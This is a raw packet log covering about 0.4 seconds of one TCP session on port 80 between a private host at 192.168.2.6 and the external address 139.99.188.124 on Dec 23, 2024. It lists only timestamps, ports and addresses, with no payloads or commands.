Dec 23, 2024 08:39:46.593538046 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.594384909 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.594481945 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.594681025 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.595452070 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.595508099 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.595861912 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.596437931 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.596551895 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.596641064 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.597497940 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.597683907 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.597739935 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.598577976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.598712921 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.598769903 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.605663061 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.605761051 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.605823040 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.606136084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.606261969 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.606311083 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.607211113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.607361078 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.607414961 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.608268976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.608359098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.608428955 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.609235048 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.609369993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.609435081 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.610302925 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.610549927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.610603094 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.611325979 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.611363888 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.611407995 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.612354994 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.612430096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.612481117 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.613404036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.613488913 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.613562107 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.614468098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.614520073 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.614572048 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.615483999 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.615590096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.615731955 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.616511106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.616591930 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.616638899 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.617549896 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.617631912 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.617717981 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.618597031 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.618810892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.618855000 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.619658947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.619760036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.620434046 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.620655060 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.620718002 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.620776892 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.621695042 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.621768951 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.621840000 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.622745037 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.622800112 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.622844934 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.623976946 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.624394894 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.624475002 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.624922037 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.625020027 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.625071049 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.625871897 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.625957966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.626085043 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.626887083 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.627000093 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.627063990 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.627911091 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.628019094 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.628068924 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.628947020 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.629019976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.629070044 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.630008936 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.630100965 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.630146027 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.631020069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.631083965 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.631329060 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.632080078 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.632211924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.632307053 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.633078098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.633191109 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.633240938 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.634119987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.634234905 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.634305000 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.635179043 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.635309935 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.635397911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.636240959 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.636362076 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.636419058 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.637295008 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.637389898 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.637448072 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.638287067 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.638396025 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.638437986 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.639319897 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.639427900 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.639540911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.640409946 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.640465975 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.640522957 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.641383886 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.641505003 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.641554117 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.642416954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.642467022 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.642525911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.643538952 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.643733025 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.643799067 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.644495010 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.644604921 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.644676924 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.645570993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.645780087 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.645845890 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.646631956 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.646688938 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.646785021 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.647718906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.647758007 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.647805929 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.648741007 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.648821115 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.648868084 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.649732113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.782119036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.782208920 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.782301903 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.782661915 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.782743931 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.782769918 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.783596039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.783720970 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.783756971 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.784616947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.784667969 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.784699917 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.785654068 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.785725117 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.785739899 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.786674023 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.786827087 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.786895990 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.787733078 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.787867069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.787919044 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.788744926 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.788889885 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.788960934 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.789834023 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.789920092 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.789937019 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.790824890 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.790935993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.791008949 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.797852039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.797966003 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.798371077 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.798435926 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.798515081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.799482107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.799554110 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.799580097 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.800642014 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.800797939 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.801943064 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.802053928 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.802094936 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.802941084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.802990913 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.803009033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.803683043 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.803740025 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.803770065 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.804539919 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.804646015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.804652929 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.805561066 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.805670977 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.805684090 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.806610107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.806684017 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.806694031 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.807626009 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.807722092 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.807857037 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.808655024 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.808703899 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.808737040 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.809712887 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.809835911 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.809889078 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.810703039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.810753107 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.810816050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.811784029 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.811897993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.811954021 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.812858105 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.812931061 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.812979937 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.813863993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.813936949 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.814004898 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.814870119 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.814924002 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.814992905 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.815917015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.815969944 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.816036940 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.816958904 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.817004919 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.817073107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.817989111 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.818041086 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.818217039 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.819053888 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.819108963 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.819149971 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.820091009 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.820141077 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.820204020 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.821134090 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.821234941 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.821357965 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.822158098 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.822254896 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.822304010 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.823170900 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.823227882 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.823291063 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.824217081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.824270010 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.824333906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.825236082 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.825290918 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.825359106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.826292992 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.826407909 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.826428890 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.827328920 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.827439070 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.827497005 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.828432083 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.828486919 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.828515053 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.829412937 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.829457998 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.829524040 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.830435991 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.830486059 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.830529928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.831449986 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.831619978 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.831675053 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.832487106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.832535982 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.832614899 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.833545923 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.833595037 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.833619118 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.834543943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.834645987 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.834696054 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.835604906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.835731983 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.835782051 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.836632967 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.836680889 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.836726904 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.837655067 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.837738037 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.837762117 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.838707924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.838794947 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.838849068 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.839754105 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.839807034 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.839879036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.840771914 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.840835094 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.840882063 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.841806889 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.841861010 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.974041939 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.974200010 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.974251032 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.974618912 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.974749088 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.974793911 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.975624084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.975723028 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.976174116 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.976689100 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.976741076 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.976864100 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.977698088 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.977837086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.978456020 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.978754044 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.978868008 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.978924990 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.979787111 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.979908943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.980042934 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.980861902 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.980978966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.981039047 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.981950998 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.981965065 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.982021093 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.982901096 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.983026028 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.984425068 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.990030050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.990106106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.990170002 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.990439892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.990533113 CET	80	49800	139.99.188.124	192.168.2.6
